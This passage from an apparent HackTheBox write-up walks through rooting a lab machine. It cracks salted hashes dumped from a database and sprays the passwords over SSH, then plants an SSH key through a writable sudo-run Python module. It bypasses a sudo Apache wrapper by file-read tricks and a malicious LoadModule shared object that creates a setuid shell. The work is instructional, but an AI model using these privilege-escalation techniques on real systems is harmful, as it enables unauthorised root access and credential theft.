| 60 | GU2002023 | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 | Paulina Mainwaring | GU2002023@guardian.htb | 1993-05-04 | 11891 Markridge Loop, Olympia, Washington, United States, 98506 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 61 | GU3052023 | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 | Curran Foynes | GU3052023@guardian.htb | 2000-12-04 | 7021 Cordelia Place, Paterson, New Jersey, United States, 07505 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 62 | GU1462023 | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 | Cissy Styan | GU1462023@guardian.htb | 1991-01-10 | 1138 Salinas Avenue, Orlando, Florida, United States, 32854 | student | active | 2026-02-25 11:43:35 | 2026-02-25 11:43:35 |
| 63 | oxdf | 2d5e85180e671372e4c1b34c3fc694c0deae26fb06dbb6635e60fd2e49f97e47 | oxdf hacker | oxdf11111@guardian.htb | 1990-01-01 | 123 Hack Street | admin | active | 2026-02-25 11:47:41 | 2026-02-25 11:47:41 |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
63 rows in set (0.00 sec)
Crack Passwords
These passwords are all salted with the salt from the config.php file, “8Sb)tM1vs1SS”. In vim, I can add this to the end of every line with :%s/$/ string/:
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6:8Sb)tM1vs1SS
7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61:8Sb)tM1vs1SS
4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471:8Sb)tM1vs1SS
23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6:8Sb)tM1vs1SS
c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75:8Sb)tM1vs1SS
ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4:8Sb)tM1vs1SS
18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3:8Sb)tM1vs1SS
b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a:8Sb)tM1vs1SS
5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829:8Sb)tM1vs1SS
87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f:8Sb)tM1vs1SS
48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1:8Sb)tM1vs1SS
e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2:8Sb)tM1vs1SS
8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1:8Sb)tM1vs1SS
cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57:8Sb)tM1vs1SS
7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a:8Sb)tM1vs1SS
98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714:8Sb)tM1vs1SS
bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd:8Sb)tM1vs1SS
41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada:8Sb)tM1vs1SS
e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a:8Sb)tM1vs1SS
e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a:8Sb)tM1vs1SS
1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71:8Sb)tM1vs1SS
168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d:8Sb)tM1vs1SS
a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6:8Sb)tM1vs1SS
d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab:8Sb)tM1vs1SS
be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f:8Sb)tM1vs1SS
3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706:8Sb)tM1vs1SS
4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6:8Sb)tM1vs1SS
6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51:8Sb)tM1vs1SS
4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a:8Sb)tM1vs1SS
6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2:8Sb)tM1vs1SS
8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8:8Sb)tM1vs1SS
8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005:8Sb)tM1vs1SS
1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f:8Sb)tM1vs1SS
12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a:8Sb)tM1vs1SS
5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa:8Sb)tM1vs1SS
6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b:8Sb)tM1vs1SS
6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f:8Sb)tM1vs1SS
1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f:8Sb)tM1vs1SS
7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a:8Sb)tM1vs1SS
7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8:8Sb)tM1vs1SS
ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225:8Sb)tM1vs1SS
8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592:8Sb)tM1vs1SS
11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380:8Sb)tM1vs1SS
70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa:8Sb)tM1vs1SS
7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76:8Sb)tM1vs1SS
d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd:8Sb)tM1vs1SS
a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c:8Sb)tM1vs1SS
e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a:8Sb)tM1vs1SS
0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8:8Sb)tM1vs1SS
b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0:8Sb)tM1vs1SS
5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5:8Sb)tM1vs1SS
339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599:8Sb)tM1vs1SS
298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482:8Sb)tM1vs1SS
8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021:8Sb)tM1vs1SS
1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf:8Sb)tM1vs1SS
3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2:8Sb)tM1vs1SS
2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8:8Sb)tM1vs1SS
585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202:8Sb)tM1vs1SS
2d5e85180e671372e4c1b34c3fc694c0deae26fb06dbb6635e60fd2e49f97e47:8Sb)tM1vs1SS
The createuser.php file shows how passwords are stored:
$password = hash('sha256', $password . $salt);
That matches up with hashcat mode 1410, which is sha256($pass.$salt)
It runs through all of rockyou.txt in 11 seconds on my machine, cracking two passwords:
$ hashcat -m 1410 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
...[snip]...
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
...[snip]...
Shell
Validate Passwords
I could check the database and see the users associated with the two cracked passwords, or I could just try all known users with both passwords:
oxdf@hacky$ netexec ssh guardian.htb -u users -p passwords --continue-on-success
SSH 10.129.237.248 22 guardian.htb SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.237.248 22 guardian.htb [-] gitea:copperhouse56
SSH 10.129.237.248 22 guardian.htb [+] jamil:copperhouse56 Linux - Shell access!
SSH 10.129.237.248 22 guardian.htb [-] mark:copperhouse56
SSH 10.129.237.248 22 guardian.htb [-] sammy:copperhouse56
SSH 10.129.237.248 22 guardian.htb [-] gitea:fakebake000
SSH 10.129.237.248 22 guardian.htb [-] mark:fakebake000
SSH 10.129.237.248 22 guardian.htb [-] sammy:fakebake000
su / SSH
The password works over su:
www-data@guardian:~$ su - jamil
Password:
jamil@guardian:~$
And SSH:
oxdf@hacky$ sshpass -p copperhouse56 ssh jamil@guardian.htb
...[snip]...
jamil@guardian:~$
And I can grab user.txt:
jamil@guardian:~$ cat user.txt
f83eb0b6************************
Shell as Mark
Enumeration
There’s nothing super interesting in jamil’s home directory:
jamil@guardian:~$ ls -la
total 28
drwxr-x--- 3 jamil jamil 4096 Jul 14 2025 .
drwxr-xr-x 6 root root 4096 Jul 30 2025 ..
lrwxrwxrwx 1 root root 9 Jul 14 2025 .bash_history -> /dev/null
-rw-r--r-- 1 jamil jamil 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 jamil jamil 3805 Apr 19 2025 .bashrc
drwx------ 2 jamil jamil 4096 Apr 26 2025 .cache
lrwxrwxrwx 1 root root 9 Apr 12 2025 .mysql_history -> /dev/null
-rw-r--r-- 1 jamil jamil 807 Jan 6 2022 .profile
-rw-r----- 1 root jamil 33 Feb 25 00:43 user.txt
jamil can run a Python script as mark using sudo:
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
In /opt there are three folders:
jamil@guardian:/opt$ ls
containerd google scripts
containerd is only accessible by root, but it’s almost certainly the default containerd runtime used by Docker or Kubernetes. I haven’t seen any Docker on this box, but maybe it’s a leftover. google has a Chrome install (likely used by the automation to trigger the XSS or the CSRF). scripts has a series of Python files, including the one that jamil can run as mark:
jamil@guardian:/opt$ find /opt/scripts -type f -ls
16831 4 -rw-r----- 1 root admins 287 Apr 19 2025 /opt/scripts/utilities/utils/attachments.py
43 4 -rw-r----- 1 root admins 246 Jul 10 2025 /opt/scripts/utilities/utils/db.py
4166 4 -rwxrwx--- 1 mark admins 253 Apr 26 2025 /opt/scripts/utilities/utils/status.py
16832 4 -rw-r----- 1 root admins 226 Apr 19 2025 /opt/scripts/utilities/utils/logs.py
46 4 -rwxr-x--- 1 root admins 1136 Apr 20 2025 /opt/scripts/utilities/utilities.py
I’ll note that most of the files are owned by root:admins and only writable by root, the status.py file is owned by mark:admins and writable by the admins group. jamil is in the admins group:
jamil@guardian:/opt$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
utilities.py
Understanding the utilities.py script is not important to using it to escalate, but I’ll take a look regardless. Sadly, it’s a pretty unrealistic setup. For some reason it does user checks
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()
It uses argparse to get an action, and does some user validation. Then it calls functions based on the action from the other scripts. The other script do things like backup the uploaded attachments and print the CPU and memory usage.
Write Python
To run as mark, I just need to edit the status.py so that when the system_status function is called, it does whatever I want as mark. I’ll add code to write an SSH key:
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.makedirs('/home/mark/.ssh', mode=0o700, exist_ok=True)
with open('/home/mark/.ssh/authorized_keys', 'a') as f:
f.write('\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n')
print('Wrote SSH key to /home/mark/.ssh/authorized_keys')
I’ll run it as mark:
jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 50.0 %
Memory usage: 32.2 %
Wrote SSH key to /home/mark/.ssh/authorized_keys
And login using the key:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@guardian.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
mark@guardian:~$
Shell as root
Enumeration
mark’s home directory is empty other than the standard stuff and an empty confs directory:
mark@guardian:~$ ls -la
total 32
drwxr-x--- 5 mark mark 4096 Feb 25 13:34 .
drwxr-xr-x 6 root root 4096 Jul 30 2025 ..
lrwxrwxrwx 1 root root 9 Jul 14 2025 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Apr 18 2025 .bash_logout
-rw-r--r-- 1 mark mark 3805 Apr 19 2025 .bashrc
drwx------ 2 mark mark 4096 Apr 26 2025 .cache
drwxrwxr-x 2 mark mark 4096 Jul 13 2025 confs
lrwxrwxrwx 1 root root 9 Apr 19 2025 .mysql_history -> /dev/null
-rw-r--r-- 1 mark mark 807 Apr 18 2025 .profile
drwx------ 2 mark mark 4096 Feb 25 13:34 .ssh
mark can run safeapache2ctl as any user with sudo:
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
It’s a ELF binary:
mark@guardian:~$ file /usr/local/bin/safeapache2ctl
/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped
Running safeapache2ctl
Running the binary prints the usage:
mark@guardian:~$ sudo safeapache2ctl
Usage: safeapache2ctl -f /home/mark/confs/file.conf
If I try to point to a file outside of /home/mark/confs, it complains:
mark@guardian:~/confs$ sudo safeapache2ctl -f /etc/passwd
Access denied: config must be inside /home/mark/confs/
I can create a file, and try to run it:
mark@guardian:~/confs$ touch 0xdf.conf
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
AH00534: apache2: Configuration error: No MPM loaded.
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This error is because Apache requires the MPM module to initialize, even just to do a config syntax check. There are three MPM modules on this host:
mark@guardian:~/confs$ ls /usr/lib/apache2/modules/mod_mpm_*
/usr/lib/apache2/modules/mod_mpm_event.so /usr/lib/apache2/modules/mod_mpm_prefork.so /usr/lib/apache2/modules/mod_mpm_worker.so
I’ll load the worker:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
Terminated
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This is actually success. My config is not valid, as it doesn’t specify anything to do. I’ll add a basic minimal config (though it isn’t required).
Reversing safeapache2ctl
I’ll download a copy of the binary to take a look:
oxdf@hacky$ scp -i ~/keys/ed25519_gen mark@guardian.htb:/usr/local/bin/safeapache2ctl .
safeapache2ctl 100% 16KB 244.5KB/s 00:00
I’ll open it in Ghidra. After the analysis, it shows a relatively small number of functions:
The main function is where the work is done:
undefined8 main(int argc,undefined8 *argv)
{
int result;
char *res;
FILE *config_file;
long in_FS_OFFSET;
char line_buf [1024];
char resolved_path [4104];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
if (argc == 3) {
result = strcmp((char *)argv[1],"-f");
if (result == 0) {
res = realpath((char *)argv[2],resolved_path);
if (res == (char *)0x0) {
perror("realpath");
}
else {
result = starts_with(resolved_path,"/home/mark/confs/");
if (result == 0) {
fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");
}
else {
config_file = fopen(resolved_path,"r");
if (config_file == (FILE *)0x0) {
perror("fopen");
}
else {
do {
res = fgets(line_buf,0x400,config_file);
if (res == (char *)0x0) {
fclose(config_file);
execl("/usr/sbin/apache2ctl","apache2ctl",&-f,resolved_path,0);
perror("execl failed");
goto LAB_00101663;
}
result = is_unsafe_line(line_buf);
} while (result == 0);
fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);
fclose(config_file);
}
}
}
goto LAB_00101663;
}
}
fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",*argv);
LAB_00101663:
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
}
It requires exactly two args, the first of which must be -f, and the second of which is a path. It uses realpath to resolve symlinks, and then makes sure that the path starts with /home/mark/confs. It opens the path argument and reads line by line, passing each line through is_unsafe_line(). If any call to is_unsafe_line returns 0, it breaks and exits with an error. Otherwise, it runs apache2ctl -f <path>. apache2ctl is a binary for controlling the Apache2 binary. When called this way without a command, it only validates the configuration and exits.
is_unsafe_line tries to limit what can be included in the apache2ctl config:
undefined8 is_unsafe_line(undefined8 line)
{
int result;
undefined8 is_unsafe;
long in_FS_OFFSET;
char directive [32];
char directive_arg [4104];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
result = __isoc99_sscanf(line,"%31s %1023s",directive,directive_arg);
if (result != 2) {
is_unsafe = 0;
goto LAB_00101423;
}
result = strcmp(directive,"Include");
if (result == 0) {
LAB_001013c6:
if (directive_arg[0] == '/') {
result = starts_with(directive_arg,"/home/mark/confs/");
if (result == 0) {
fprintf(stderr,"[!] Blocked: %s is outside of %s\n",directive_arg,"/home/mark/confs/");
is_unsafe = 1;
goto LAB_00101423;
}
}
}
else {
result = strcmp(directive,"IncludeOptional");
if (result == 0) goto LAB_001013c6;
result = strcmp(directive,"LoadModule");
if (result == 0) goto LAB_001013c6;
}
is_unsafe = 0;
LAB_00101423:
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return is_unsafe;
}
It reads the first two whitespace delimited strings from the line into directive and directive_arg. If the directive is Include, it attempts to make sure the arg is in /home/mark/confs. It tries the same block for IncludeOptional and LoadModule.
Bypassing safeapache2ctl
Strategy
There are so many issues with this binary. Aside from being completely unrealistic that someone would write a binary to do this, it has successfully identified three directives that could be dangerous, and then done almost nothing to actually stop me from using them.
The issues that immediately jumped out to me are:
- It’s making case sensitive string checks where the directives are not case sensitive.
- It is trying to limit the directive directory but doesn’t check for
../. - It tries to validate that the second arg to
LoadModuleis in/home/mark/confsbut the path to the module is the third arg. - Even if that path was validated, there’s nothing stopping me from making a malicious module in
/home/mark/confs. - While the binary uses
realpathto resolve symlinks on the config file, it doesn’t on the directive args, so symlinks can bypass. - I can have it set up a webserver in any directory and read from it (for a short period of time).
This all makes a mess of a set of paths to get to root:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A-->L(Web Server File Read);
L-->D;
A[Shell as mark]-->B(Case Sensitive\nCheck);
B-->C(Include File Read);
C-->D(root.txt);
A-->G(Directory Traversal);
G-->D;
A-->J(Symlink);
J-->C;
J-->I;
A-->H(Evil SO in confs\nChecks Wrong Arg);
H-->I(LoadModule);
I-->F[Shell as root];
B-->I;
G-->I;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 0,7,8 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
I’ll show each of the five identified issues with the binary, though not every combination.
It’s also worth noting that there’s an aggressive cleanup script clearing this directory every two minutes. That’s really bad box design on HTB’s part. There are multiple ways to get around the issue of players seeing each others’ config that don’t involve that.
Case Sensitivity
The check in the binary for the module name looks like:
result = strcmp(directive,"Include");
That’s a case-sensitive compare, but Apache directives are case insensitive. If I try to Include /root/root.txt, it will fail:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /root/root.txt
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
[!] Blocked: /root/root.txt is outside of /home/mark/confs/
Blocked: Config includes unsafe directive.
But if I mess with the casing:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
InClUde /root/root.txt
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
That’s file read of the first line of any file. That includes the root hash from shadow:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
IncLude /etc/shadow
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
The password doesn’t crack in rockyou.txt.
Directory Traversal
The directory check on the second arg only checks that it starts with /home/mark/confs:
result = starts_with(directive_arg,"/home/mark/confs/")
So even if I use the cased “Include” that matches, I can use a directory traversal to go anywhere on the box:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /home/mark/confs/../../../root/root.txt
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This gives first line file read as root through Include.
Symlinks
The program never resolves links, so I can also just create a symlink pointing to the file I want to read:
mark@guardian:~/confs$ ln -s /root/root.txt
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /home/mark/confs/root.txt
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /home/mark/confs/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This gives the same first line file read as the others.
Evil Module
The way to get a shell on this box is to load a malicious library using LoadModule. The program tries to limit this to modules in /home/mark/confs. This isn’t really a limitation, as I can:
- Just create a malicious shared object in that directory. OR
- Use any of the three bypasses above. OR
- It actually doesn’t matter because the path is the third argument not the second so the check doesn’t apply (which is why I am able to load the MPM module needed anyway).
The directory requirement only applies if the first character of the arg is /:
if (directive_arg[0] == '/') {
result = starts_with(directive_arg,"/home/mark/confs/");
I’ll create evil.c:
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
system("cp /bin/bash /tmp/0xdf && chmod +s /tmp/0xdf");
}
I’ll compile it to a share library:
mark@guardian:~/confs$ gcc -shared -fPIC -o evil.so evil.c
mark@guardian:~/confs$ file evil.so
evil.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c2b027a5f09e9d4050d516bddfc3fb8d8fa50c20, not stripped
Now I set the configuration to load the module and it runs before erroring out, creating a SetUID copy of bash:
mark@guardian:~/confs$ cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
LoadModule evil /home/mark/confs/evil.so
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
apache2: Syntax error on line 3 of /home/mark/confs/0xdf.conf: Can't locate API module structure `evil' in file /home/mark/confs/evil.so: /home/mark/confs/evil.so: undefined symbol: evil
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
mark@guardian:~/confs$ ls -l /tmp/0xdf
-rwsr-sr-x 1 root root 1396520 Feb 25 21:54 /tmp/0xdf
I’ll run it with -p to not drop privs, giving a root shell that can read the flag:
mark@guardian:~/confs$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
ef91575c************************
Web Server
apache2ctl will start a server for a brief period of time to make sure it works. I’ll need to define the basic configuration to read files from a server:
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
ServerName Test
DocumentRoot /root
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
Listen 9000
ErrorLog /tmp/apache_error.log
Now when I start this, the webserver will be up and listening for around ~5-10 seconds:
mark@guardian:~/confs$ sudo safeapache2ctl -f ./0xdf.conf
mark@guardian:~/confs$ netstat -tnlp | grep 9000
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN -
mark@guardian:~/confs$ curl localhost:9000/root.txt
ef91575c************************
From here I can read any file on the file system.
